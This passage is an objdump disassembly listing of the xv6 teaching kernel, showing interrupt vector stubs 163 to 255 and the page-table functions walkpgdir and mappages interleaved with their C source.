00 push $0x0 pushl $163 8010652d: 68 a3 00 00 00 push $0xa3 jmp alltraps 80106532: e9 50 f5 ff ff jmp 80105a87 <alltraps> 80106537 <vector164>: .globl vector164 vector164: pushl $0 80106537: 6a 00 push $0x0 pushl $164 80106539: 68 a4 00 00 00 push $0xa4 jmp alltraps 8010653e: e9 44 f5 ff ff jmp 80105a87 <alltraps> 80106543 <vector165>: .globl vector165 vector165: pushl $0 80106543: 6a 00 push $0x0 pushl $165 80106545: 68 a5 00 00 00 push $0xa5 jmp alltraps 8010654a: e9 38 f5 ff ff jmp 80105a87 <alltraps> 8010654f <vector166>: .globl vector166 vector166: pushl $0 8010654f: 6a 00 push $0x0 pushl $166 80106551: 68 a6 00 00 00 push $0xa6 jmp alltraps 80106556: e9 2c f5 ff ff jmp 80105a87 <alltraps> 8010655b <vector167>: .globl vector167 vector167: pushl $0 8010655b: 6a 00 push $0x0 pushl $167 8010655d: 68 a7 00 00 00 push $0xa7 jmp alltraps 80106562: e9 20 f5 ff ff jmp 80105a87 <alltraps> 80106567 <vector168>: .globl vector168 vector168: pushl $0 80106567: 6a 00 push $0x0 pushl $168 80106569: 68 a8 00 00 00 push $0xa8 jmp alltraps 8010656e: e9 14 f5 ff ff jmp 80105a87 <alltraps> 80106573 <vector169>: .globl vector169 vector169: pushl $0 80106573: 6a 00 push $0x0 pushl $169 80106575: 68 a9 00 00 00 push $0xa9 jmp alltraps 8010657a: e9 08 f5 ff ff jmp 80105a87 <alltraps> 8010657f <vector170>: .globl vector170 vector170: pushl $0 8010657f: 6a 00 push $0x0 pushl $170 80106581: 68 aa 00 00 00 push $0xaa jmp alltraps 80106586: e9 fc f4 ff ff jmp 80105a87 <alltraps> 8010658b <vector171>: .globl vector171 vector171: pushl $0 8010658b: 6a 00 push $0x0 pushl $171 8010658d: 68 ab 00 00 00 push $0xab jmp alltraps 80106592: e9 f0 f4 ff ff jmp 80105a87 <alltraps> 80106597 <vector172>: .globl vector172 vector172: pushl $0 80106597: 6a 00 push $0x0 pushl $172 80106599: 68 ac 00 00 00 push $0xac jmp alltraps 8010659e: e9 e4 f4 ff ff jmp 80105a87 <alltraps> 801065a3 <vector173>: .globl vector173 vector173: pushl $0 801065a3: 6a 00 push $0x0 pushl $173 801065a5: 68 ad 00 00 00 push $0xad jmp alltraps 801065aa: e9 d8 f4 ff ff jmp 80105a87 <alltraps> 801065af <vector174>: .globl vector174 vector174: pushl $0 801065af: 6a 00 push $0x0 pushl $174 801065b1: 68 ae 00 00 00 push $0xae jmp alltraps 801065b6: e9 cc f4 ff ff jmp 80105a87 <alltraps> 801065bb <vector175>: .globl vector175 vector175: pushl $0 801065bb: 6a 00 push $0x0 pushl $175 801065bd: 68 af 00 00 00 push $0xaf jmp alltraps 801065c2: e9 c0 f4 ff ff jmp 80105a87 <alltraps> 801065c7 <vector176>: .globl vector176 vector176: pushl $0 801065c7: 6a 00 push $0x0 pushl $176 801065c9: 68 b0 00 00 00 push $0xb0 jmp alltraps 801065ce: e9 b4 f4 ff ff jmp 80105a87 <alltraps> 801065d3 <vector177>: .globl vector177 vector177: pushl $0 801065d3: 6a 00 push $0x0 pushl $177 801065d5: 68 b1 00 00 00 push $0xb1 jmp alltraps 801065da: e9 a8 f4 ff ff jmp 80105a87 <alltraps> 801065df <vector178>: .globl vector178 vector178: pushl $0 801065df: 6a 00 push $0x0 pushl $178 801065e1: 68 b2 00 00 00 push $0xb2 jmp alltraps 801065e6: e9 9c f4 ff ff jmp 80105a87 <alltraps> 801065eb <vector179>: .globl vector179 vector179: pushl $0 801065eb: 6a 00 push $0x0 pushl $179 801065ed: 68 b3 00 00 00 push $0xb3 jmp alltraps 801065f2: e9 90 f4 ff ff jmp 80105a87 <alltraps> 801065f7 <vector180>: .globl vector180 vector180: pushl $0 801065f7: 6a 00 push $0x0 pushl $180 801065f9: 68 b4 00 00 00 push $0xb4 jmp alltraps 801065fe: e9 84 f4 ff ff jmp 80105a87 <alltraps> 80106603 <vector181>: .globl vector181 vector181: pushl $0 80106603: 6a 00 push $0x0 pushl $181 80106605: 68 b5 00 00 00 push $0xb5 jmp alltraps 8010660a: e9 78 f4 ff ff jmp 80105a87 <alltraps> 8010660f <vector182>: .globl vector182 vector182: pushl $0 8010660f: 6a 00 push $0x0 pushl $182 80106611: 68 b6 00 00 00 push $0xb6 jmp alltraps 80106616: e9 6c f4 ff ff jmp 80105a87 <alltraps> 8010661b <vector183>: .globl vector183 vector183: pushl $0 8010661b: 6a 00 push $0x0 pushl $183 8010661d: 68 b7 00 00 00 push $0xb7 jmp alltraps 80106622: e9 60 f4 ff ff jmp 80105a87 <alltraps> 80106627 <vector184>: .globl vector184 vector184: pushl $0 80106627: 6a 00 push $0x0 pushl $184 80106629: 68 b8 00 00 00 push $0xb8 jmp alltraps 8010662e: e9 54 f4 ff ff jmp 80105a87 <alltraps> 80106633 <vector185>: .globl vector185 vector185: pushl $0 80106633: 6a 00 push $0x0 pushl $185 80106635: 68 b9 00 00 00 push $0xb9 jmp alltraps 8010663a: e9 48 f4 ff ff jmp 80105a87 <alltraps> 8010663f <vector186>: .globl vector186 vector186: pushl $0 8010663f: 6a 00 push $0x0 pushl $186 80106641: 68 ba 00 00 00 push $0xba jmp alltraps 80106646: e9 3c f4 ff ff jmp 80105a87 <alltraps> 8010664b <vector187>: .globl vector187 vector187: pushl $0 8010664b: 6a 00 push $0x0 pushl $187 8010664d: 68 bb 00 00 00 push $0xbb jmp alltraps 80106652: e9 30 f4 ff ff jmp 80105a87 <alltraps> 80106657 <vector188>: .globl vector188 vector188: pushl $0 80106657: 6a 00 push $0x0 pushl $188 80106659: 68 bc 00 00 00 push $0xbc jmp alltraps 8010665e: e9 24 f4 ff ff jmp 80105a87 <alltraps> 80106663 <vector189>: .globl vector189 vector189: pushl $0 80106663: 6a 00 push $0x0 pushl $189 80106665: 68 bd 00 00 00 push $0xbd jmp alltraps 8010666a: e9 18 f4 ff ff jmp 80105a87 <alltraps> 8010666f <vector190>: .globl vector190 vector190: pushl $0 8010666f: 6a 00 push $0x0 pushl $190 80106671: 68 be 00 00 00 push $0xbe jmp alltraps 80106676: e9 0c f4 ff ff jmp 80105a87 <alltraps> 8010667b <vector191>: .globl vector191 vector191: pushl $0 8010667b: 6a 00 push $0x0 pushl $191 8010667d: 68 bf 00 00 00 push $0xbf jmp alltraps 80106682: e9 00 f4 ff ff jmp 80105a87 <alltraps> 80106687 <vector192>: .globl vector192 vector192: pushl $0 80106687: 6a 00 push $0x0 pushl $192 80106689: 68 c0 00 00 00 push $0xc0 jmp alltraps 8010668e: e9 f4 f3 ff ff jmp 80105a87 <alltraps> 80106693 <vector193>: .globl vector193 vector193: pushl $0 80106693: 6a 00 push $0x0 pushl $193 80106695: 68 c1 00 00 00 push $0xc1 jmp alltraps 8010669a: e9 e8 f3 ff ff jmp 80105a87 <alltraps> 8010669f <vector194>: .globl vector194 vector194: pushl $0 8010669f: 6a 00 push $0x0 pushl $194 801066a1: 68 c2 00 00 00 push $0xc2 jmp alltraps 801066a6: e9 dc f3 ff ff jmp 80105a87 <alltraps> 801066ab <vector195>: .globl vector195 vector195: pushl $0 801066ab: 6a 00 push $0x0 pushl $195 801066ad: 68 c3 00 00 00 push $0xc3 jmp alltraps 801066b2: e9 d0 f3 ff ff jmp 80105a87 <alltraps> 801066b7 <vector196>: .globl vector196 vector196: pushl $0 801066b7: 6a 00 push $0x0 pushl $196 801066b9: 68 c4 00 00 00 push $0xc4 jmp alltraps 801066be: e9 c4 f3 ff ff jmp 80105a87 <alltraps> 801066c3 <vector197>: .globl vector197 vector197: pushl $0 801066c3: 6a 00 push $0x0 pushl $197 801066c5: 68 c5 00 00 00 push $0xc5 jmp alltraps 801066ca: e9 b8 f3 ff ff jmp 80105a87 <alltraps> 801066cf <vector198>: .globl vector198 vector198: pushl $0 801066cf: 6a 00 push $0x0 pushl $198 801066d1: 68 c6 00 00 00 push $0xc6 jmp alltraps 801066d6: e9 ac f3 ff ff jmp 80105a87 <alltraps> 801066db <vector199>: .globl vector199 vector199: pushl $0 801066db: 6a 00 push $0x0 pushl $199 801066dd: 68 c7 00 00 00 push $0xc7 jmp alltraps 801066e2: e9 a0 f3 ff ff jmp 80105a87 <alltraps> 801066e7 <vector200>: .globl vector200 vector200: pushl $0 801066e7: 6a 00 push $0x0 pushl $200 801066e9: 68 c8 00 00 00 push $0xc8 jmp alltraps 801066ee: e9 94 f3 ff ff jmp 80105a87 <alltraps> 801066f3 <vector201>: .globl vector201 vector201: pushl $0 801066f3: 6a 00 push $0x0 pushl $201 801066f5: 68 c9 00 00 00 push $0xc9 jmp alltraps 801066fa: e9 88 f3 ff ff jmp 80105a87 <alltraps> 801066ff <vector202>: .globl vector202 vector202: pushl $0 801066ff: 6a 00 push $0x0 pushl $202 80106701: 68 ca 00 00 00 push $0xca jmp alltraps 80106706: e9 7c f3 ff ff jmp 80105a87 <alltraps> 8010670b <vector203>: .globl vector203 vector203: pushl $0 8010670b: 6a 00 push $0x0 pushl $203 8010670d: 68 cb 00 00 00 push $0xcb jmp alltraps 80106712: e9 70 f3 ff ff jmp 80105a87 <alltraps> 80106717 <vector204>: .globl vector204 vector204: pushl $0 80106717: 6a 00 push $0x0 pushl $204 80106719: 68 cc 00 00 00 push $0xcc jmp alltraps 8010671e: e9 64 f3 ff ff jmp 80105a87 <alltraps> 80106723 <vector205>: .globl vector205 vector205: pushl $0 80106723: 6a 00 push $0x0 pushl $205 80106725: 68 cd 00 00 00 push $0xcd jmp alltraps 8010672a: e9 58 f3 ff ff jmp 80105a87 <alltraps> 8010672f <vector206>: .globl vector206 vector206: pushl $0 8010672f: 6a 00 push $0x0 pushl $206 80106731: 68 ce 00 00 00 push $0xce jmp alltraps 80106736: e9 4c f3 ff ff jmp 80105a87 <alltraps> 8010673b <vector207>: .globl vector207 vector207: pushl $0 8010673b: 6a 00 push $0x0 pushl $207 8010673d: 68 cf 00 00 00 push $0xcf jmp alltraps 80106742: e9 40 f3 ff ff jmp 80105a87 <alltraps> 80106747 <vector208>: .globl vector208 vector208: pushl $0 80106747: 6a 00 push $0x0 pushl $208 80106749: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010674e: e9 34 f3 ff ff jmp 80105a87 <alltraps> 80106753 <vector209>: .globl vector209 vector209: pushl $0 80106753: 6a 00 push $0x0 pushl $209 80106755: 68 d1 00 00 00 push $0xd1 jmp alltraps 8010675a: e9 28 f3 ff ff jmp 80105a87 <alltraps> 8010675f <vector210>: .globl vector210 vector210: pushl $0 8010675f: 6a 00 push $0x0 pushl $210 80106761: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106766: e9 1c f3 ff ff jmp 80105a87 <alltraps> 8010676b <vector211>: .globl vector211 vector211: pushl $0 8010676b: 6a 00 push $0x0 pushl $211 8010676d: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106772: e9 10 f3 ff ff jmp 80105a87 <alltraps> 80106777 <vector212>: .globl vector212 vector212: pushl $0 80106777: 6a 00 push $0x0 pushl $212 80106779: 68 d4 00 00 00 push $0xd4 jmp alltraps 8010677e: e9 04 f3 ff ff jmp 80105a87 <alltraps> 80106783 <vector213>: .globl vector213 vector213: pushl $0 80106783: 6a 00 push $0x0 pushl $213 80106785: 68 d5 00 00 00 push $0xd5 jmp alltraps 8010678a: e9 f8 f2 ff ff jmp 80105a87 <alltraps> 8010678f <vector214>: .globl vector214 vector214: pushl $0 8010678f: 6a 00 push $0x0 pushl $214 80106791: 68 d6 00 00 00 push $0xd6 jmp alltraps 80106796: e9 ec f2 ff ff jmp 80105a87 <alltraps> 8010679b <vector215>: .globl vector215 vector215: pushl $0 8010679b: 6a 00 push $0x0 pushl $215 8010679d: 68 d7 00 00 00 push $0xd7 jmp alltraps 801067a2: e9 e0 f2 ff ff jmp 80105a87 <alltraps> 801067a7 <vector216>: .globl vector216 vector216: pushl $0 801067a7: 6a 00 push $0x0 pushl $216 801067a9: 68 d8 00 00 00 push $0xd8 jmp alltraps 801067ae: e9 d4 f2 ff ff jmp 80105a87 <alltraps> 801067b3 <vector217>: .globl vector217 vector217: pushl $0 801067b3: 6a 00 push $0x0 pushl $217 801067b5: 68 d9 00 00 00 push $0xd9 jmp alltraps 801067ba: e9 c8 f2 ff ff jmp 80105a87 <alltraps> 801067bf <vector218>: .globl vector218 vector218: pushl $0 801067bf: 6a 00 push $0x0 pushl $218 801067c1: 68 da 00 00 00 push $0xda jmp alltraps 801067c6: e9 bc f2 ff ff jmp 80105a87 <alltraps> 801067cb <vector219>: .globl vector219 vector219: pushl $0 801067cb: 6a 00 push $0x0 pushl $219 801067cd: 68 db 00 00 00 push $0xdb jmp alltraps 801067d2: e9 b0 f2 ff ff jmp 80105a87 <alltraps> 801067d7 <vector220>: .globl vector220 vector220: pushl $0 801067d7: 6a 00 push $0x0 pushl $220 801067d9: 68 dc 00 00 00 push $0xdc jmp alltraps 801067de: e9 a4 f2 ff ff jmp 80105a87 <alltraps> 801067e3 <vector221>: .globl vector221 vector221: pushl $0 801067e3: 6a 00 push $0x0 pushl $221 801067e5: 68 dd 00 00 00 push $0xdd jmp alltraps 801067ea: e9 98 f2 ff ff jmp 80105a87 <alltraps> 801067ef <vector222>: .globl vector222 vector222: pushl $0 801067ef: 6a 00 push $0x0 pushl $222 801067f1: 68 de 00 00 00 push $0xde jmp alltraps 801067f6: e9 8c f2 ff ff jmp 80105a87 <alltraps> 801067fb <vector223>: .globl vector223 vector223: pushl $0 801067fb: 6a 00 push $0x0 pushl $223 801067fd: 68 df 00 00 00 push $0xdf jmp alltraps 80106802: e9 80 f2 ff ff jmp 80105a87 <alltraps> 80106807 <vector224>: .globl vector224 vector224: pushl $0 80106807: 6a 00 push $0x0 pushl $224 80106809: 68 e0 00 00 00 push $0xe0 jmp alltraps 8010680e: e9 74 f2 ff ff jmp 80105a87 <alltraps> 80106813 <vector225>: .globl vector225 vector225: pushl $0 80106813: 6a 00 push $0x0 pushl $225 80106815: 68 e1 00 00 00 push $0xe1 jmp alltraps 8010681a: e9 68 f2 ff ff jmp 80105a87 <alltraps> 8010681f <vector226>: .globl vector226 vector226: pushl $0 8010681f: 6a 00 push $0x0 pushl $226 80106821: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106826: e9 5c f2 ff ff jmp 80105a87 <alltraps> 8010682b <vector227>: .globl vector227 vector227: pushl $0 8010682b: 6a 00 push $0x0 pushl $227 8010682d: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106832: e9 50 f2 ff ff jmp 80105a87 <alltraps> 80106837 <vector228>: .globl vector228 vector228: pushl $0 80106837: 6a 00 push $0x0 pushl $228 80106839: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010683e: e9 44 f2 ff ff jmp 80105a87 <alltraps> 80106843 <vector229>: .globl vector229 vector229: pushl $0 80106843: 6a 00 push $0x0 pushl $229 80106845: 68 e5 00 00 00 push $0xe5 jmp alltraps 8010684a: e9 38 f2 ff ff jmp 80105a87 <alltraps> 8010684f <vector230>: .globl vector230 vector230: pushl $0 8010684f: 6a 00 push $0x0 pushl $230 80106851: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106856: e9 2c f2 ff ff jmp 80105a87 <alltraps> 8010685b <vector231>: .globl vector231 vector231: pushl $0 8010685b: 6a 00 push $0x0 pushl $231 8010685d: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106862: e9 20 f2 ff ff jmp 80105a87 <alltraps> 80106867 <vector232>: .globl vector232 vector232: pushl $0 80106867: 6a 00 push $0x0 pushl $232 80106869: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010686e: e9 14 f2 ff ff jmp 80105a87 <alltraps> 80106873 <vector233>: .globl vector233 vector233: pushl $0 80106873: 6a 00 push $0x0 pushl $233 80106875: 68 e9 00 00 00 push $0xe9 jmp alltraps 8010687a: e9 08 f2 ff ff jmp 80105a87 <alltraps> 8010687f <vector234>: .globl vector234 vector234: pushl $0 8010687f: 6a 00 push $0x0 pushl $234 80106881: 68 ea 00 00 00 push $0xea jmp alltraps 80106886: e9 fc f1 ff ff jmp 80105a87 <alltraps> 8010688b <vector235>: .globl vector235 vector235: pushl $0 8010688b: 6a 00 push $0x0 pushl $235 8010688d: 68 eb 00 00 00 push $0xeb jmp alltraps 80106892: e9 f0 f1 ff ff jmp 80105a87 <alltraps> 80106897 <vector236>: .globl vector236 vector236: pushl $0 80106897: 6a 00 push $0x0 pushl $236 80106899: 68 ec 00 00 00 push $0xec jmp alltraps 8010689e: e9 e4 f1 ff ff jmp 80105a87 <alltraps> 801068a3 <vector237>: .globl vector237 vector237: pushl $0 801068a3: 6a 00 push $0x0 pushl $237 801068a5: 68 ed 00 00 00 push $0xed jmp alltraps 801068aa: e9 d8 f1 ff ff jmp 80105a87 <alltraps> 801068af <vector238>: .globl vector238 vector238: pushl $0 801068af: 6a 00 push $0x0 pushl $238 801068b1: 68 ee 00 00 00 push $0xee jmp alltraps 801068b6: e9 cc f1 ff ff jmp 80105a87 <alltraps> 801068bb <vector239>: .globl vector239 vector239: pushl $0 801068bb: 6a 00 push $0x0 pushl $239 801068bd: 68 ef 00 00 00 push $0xef jmp alltraps 801068c2: e9 c0 f1 ff ff jmp 80105a87 <alltraps> 801068c7 <vector240>: .globl vector240 vector240: pushl $0 801068c7: 6a 00 push $0x0 pushl $240 801068c9: 68 f0 00 00 00 push $0xf0 jmp alltraps 801068ce: e9 b4 f1 ff ff jmp 80105a87 <alltraps> 801068d3 <vector241>: .globl vector241 vector241: pushl $0 801068d3: 6a 00 push $0x0 pushl $241 801068d5: 68 f1 00 00 00 push $0xf1 jmp alltraps 801068da: e9 a8 f1 ff ff jmp 80105a87 <alltraps> 801068df <vector242>: .globl vector242 vector242: pushl $0 801068df: 6a 00 push $0x0 pushl $242 801068e1: 68 f2 00 00 00 push $0xf2 jmp alltraps 801068e6: e9 9c f1 ff ff jmp 80105a87 <alltraps> 801068eb <vector243>: .globl vector243 vector243: pushl $0 801068eb: 6a 00 push $0x0 pushl $243 801068ed: 68 f3 00 00 00 push $0xf3 jmp alltraps 801068f2: e9 90 f1 ff ff jmp 80105a87 <alltraps> 801068f7 <vector244>: .globl vector244 vector244: pushl $0 801068f7: 6a 00 push $0x0 pushl $244 801068f9: 68 f4 00 00 00 push $0xf4 jmp alltraps 801068fe: e9 84 f1 ff ff jmp 80105a87 <alltraps> 80106903 <vector245>: .globl vector245 vector245: pushl $0 80106903: 6a 00 push $0x0 pushl $245 80106905: 68 f5 00 00 00 push $0xf5 jmp alltraps 8010690a: e9 78 f1 ff ff jmp 80105a87 <alltraps> 8010690f <vector246>: .globl vector246 vector246: pushl $0 8010690f: 6a 00 push $0x0 pushl $246 80106911: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106916: e9 6c f1 ff ff jmp 80105a87 <alltraps> 8010691b <vector247>: .globl vector247 vector247: pushl $0 8010691b: 6a 00 push $0x0 pushl $247 8010691d: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106922: e9 60 f1 ff ff jmp 80105a87 <alltraps> 80106927 <vector248>: .globl vector248 vector248: pushl $0 80106927: 6a 00 push $0x0 pushl $248 80106929: 68 f8 00 00 00 push $0xf8 jmp alltraps 8010692e: e9 54 f1 ff ff jmp 80105a87 <alltraps> 80106933 <vector249>: .globl vector249 vector249: pushl $0 80106933: 6a 00 push $0x0 pushl $249 80106935: 68 f9 00 00 00 push $0xf9 jmp alltraps 8010693a: e9 48 f1 ff ff jmp 80105a87 <alltraps> 8010693f <vector250>: .globl vector250 vector250: pushl $0 8010693f: 6a 00 push $0x0 pushl $250 80106941: 68 fa 00 00 00 push $0xfa jmp alltraps 80106946: e9 3c f1 ff ff jmp 80105a87 <alltraps> 8010694b <vector251>: .globl vector251 vector251: pushl $0 8010694b: 6a 00 push $0x0 pushl $251 8010694d: 68 fb 00 00 00 push $0xfb jmp alltraps 80106952: e9 30 f1 ff ff jmp 80105a87 <alltraps> 80106957 <vector252>: .globl vector252 vector252: pushl $0 80106957: 6a 00 push $0x0 pushl $252 80106959: 68 fc 00 00 00 push $0xfc jmp alltraps 8010695e: e9 24 f1 ff ff jmp 80105a87 <alltraps> 80106963 <vector253>: .globl vector253 vector253: pushl $0 80106963: 6a 00 push $0x0 pushl $253 80106965: 68 fd 00 00 00 push $0xfd jmp alltraps 8010696a: e9 18 f1 ff ff jmp 80105a87 <alltraps> 8010696f <vector254>: .globl vector254 vector254: pushl $0 8010696f: 6a 00 push $0x0 pushl $254 80106971: 68 fe 00 00 00 push $0xfe jmp alltraps 80106976: e9 0c f1 ff ff jmp 80105a87 <alltraps> 8010697b <vector255>: .globl vector255 vector255: pushl $0 8010697b: 6a 00 push $0x0 pushl $255 8010697d: 68 ff 00 00 00 push $0xff jmp alltraps 80106982: e9 00 f1 ff ff jmp 80105a87 <alltraps> 80106987: 66 90 xchg %ax,%ax 80106989: 66 90 xchg %ax,%ax 8010698b: 66 90 xchg %ax,%ax 8010698d: 66 90 xchg %ax,%ax 8010698f: 90 nop 80106990 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 80106990: 55 push %ebp 80106991: 89 e5 mov %esp,%ebp 80106993: 57 push %edi 80106994: 56 push %esi 80106995: 53 push %ebx 80106996: 89 d3 mov %edx,%ebx pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 80106998: c1 ea 16 shr $0x16,%edx 8010699b: 8d 3c 90 lea (%eax,%edx,4),%edi // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 8010699e: 83 ec 0c sub $0xc,%esp pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ 801069a1: 8b 07 mov (%edi),%eax 801069a3: a8 01 test $0x1,%al 801069a5: 74 29 je 801069d0 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 801069a7: 25 00 f0 ff ff and $0xfffff000,%eax 801069ac: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; } 801069b2: 8d 65 f4 lea -0xc(%ebp),%esp // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 801069b5: c1 eb 0a shr $0xa,%ebx 801069b8: 81 e3 fc 0f 00 00 and $0xffc,%ebx 801069be: 8d 04 1e lea (%esi,%ebx,1),%eax } 801069c1: 5b pop %ebx 801069c2: 5e pop %esi 801069c3: 5f pop %edi 801069c4: 5d pop %ebp 801069c5: c3 ret 801069c6: 8d 76 00 lea 0x0(%esi),%esi 801069c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); } else { if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 801069d0: 85 c9 test %ecx,%ecx 801069d2: 74 2c je 80106a00 <walkpgdir+0x70> 801069d4: e8 a7 ba ff ff call 80102480 <kalloc> 801069d9: 85 c0 test %eax,%eax 801069db: 89 c6 mov %eax,%esi 801069dd: 74 21 je 80106a00 <walkpgdir+0x70> return 0; // Make sure all those PTE_P bits are zero. memset(pgtab, 0, PGSIZE); 801069df: 83 ec 04 sub $0x4,%esp 801069e2: 68 00 10 00 00 push $0x1000 801069e7: 6a 00 push $0x0 801069e9: 50 push %eax 801069ea: e8 a1 dd ff ff call 80104790 <memset> // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 801069ef: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 801069f5: 83 c4 10 add $0x10,%esp 801069f8: 83 c8 07 or $0x7,%eax 801069fb: 89 07 mov %eax,(%edi) 801069fd: eb b3 jmp 801069b2 <walkpgdir+0x22> 801069ff: 90 nop } return &pgtab[PTX(va)]; } 80106a00: 8d 65 f4 lea -0xc(%ebp),%esp pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); } else { if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) return 0; 80106a03: 31 c0 xor %eax,%eax // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; } 80106a05: 5b pop %ebx 80106a06: 5e pop %esi 80106a07: 5f pop %edi 80106a08: 5d pop %ebp 80106a09: c3 ret 80106a0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106a10 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80106a10: 55 push %ebp 80106a11: 89 e5 mov %esp,%ebp 80106a13: 57 push %edi 80106a14: 56 push %esi 80106a15: 53 push %ebx char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 80106a16: 89 d3 mov %edx,%ebx 80106a18: 81 e3 00 f0 ff ff and $0xfffff000,%ebx // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80106a1e: 83 ec 1c sub $0x1c,%esp 80106a21: 89 45 e4 mov %eax,-0x1c(%ebp) char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106a24: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax 80106a28: 8b 7d 08 mov 0x8(%ebp),%edi 80106a2b: 25 00 f0 ff ff and $0xfffff000,%eax 80106a30: 89 45 e0 mov %eax,-0x20(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 80106a33: 8b 45 0c mov 0xc(%ebp),%eax 80106a36: 29 df sub %ebx,%edi 80106a38: 83 c8 01 or $0x1,%eax 80106a3b: 89 45 dc mov %eax,-0x24(%ebp) 80106a3e: eb 15 jmp 80106a55 <mappages+0x45> a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) 80106a40: f6 00 01 testb $0x1,(%eax) 80106a43: 75 45 jne 80106a8a <mappages+0x7a> panic("remap"); *pte = pa | perm | PTE_P; 80106a45: 0b 75 dc or -0x24(%ebp),%esi if(a == last) 80106a48: 3b 5d e0 cmp -0x20(%ebp),%ebx for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 80106a4b: 89 30 mov %esi,(%eax) if(a == last) 80106a4d: 74 31 je 80106a80 <mappages+0x70> break; a += PGSIZE; 80106a4f: 81 c3 00 10 00 00 add $0x1000,%ebx pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) 80106a55: 8b 45 e4 mov -0x1c(%ebp),%eax 80106a58: b9 01 00 00 00 mov $0x1,%ecx 80106a5d: 89 da mov %ebx,%edx 80106a5f: 8d 34 3b lea (%ebx,%edi,1),%esi 80106a62: e8 29 ff ff ff call 80106990 <walkpgdir> 80106a67: 85 c0 test %eax,%eax 80106a69: 75 d5 jne 80106a40 <mappages+0x30> break; a += PGSIZE; pa += PGSIZE; } return 0; } 80106a6b: 8d 65 f4 lea -0xc(%ebp),%esp a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; 80106a6e: b8 ff ff ff ff mov $0xffffffff,%eax break; a += PGSIZE; pa += PGSIZE; } return 0; } 80106a73: 5b pop %ebx 80106a74: 5e pop %esi 80106a75: 5f pop %edi 80106a76: 5d pop %ebp 80106a77: c3 ret 80106a78: 90 nop 80106a79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106a80: 8d 65 f4 lea -0xc(%ebp),%esp if(a == last) break; a += PGSIZE; pa += PGSIZE; } return 0; 80106a83: 31 c0 xor %eax,%eax } 80106a85: 5b pop %ebx 80106a86: 5e pop %esi 80106a87: 5f pop %edi 80106a88: 5d pop %ebp 80106a89: c3 ret last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); 80106a8a: 83 ec 0c sub $0xc,%esp 80106a8d: 68 b4 7c 10 80 push $0x80107cb4 80106a92: e8 d9 98 ff ff call 80100370 <panic> 80106a97: 89 f6 mov %esi,%esi 80106a99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106aa0 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106aa0: 55 push %ebp 80106aa1: 89 e5 mov %esp,%ebp 80106aa3: 57 push %edi 80106aa4: 56 push %esi 80106aa5: 53 push 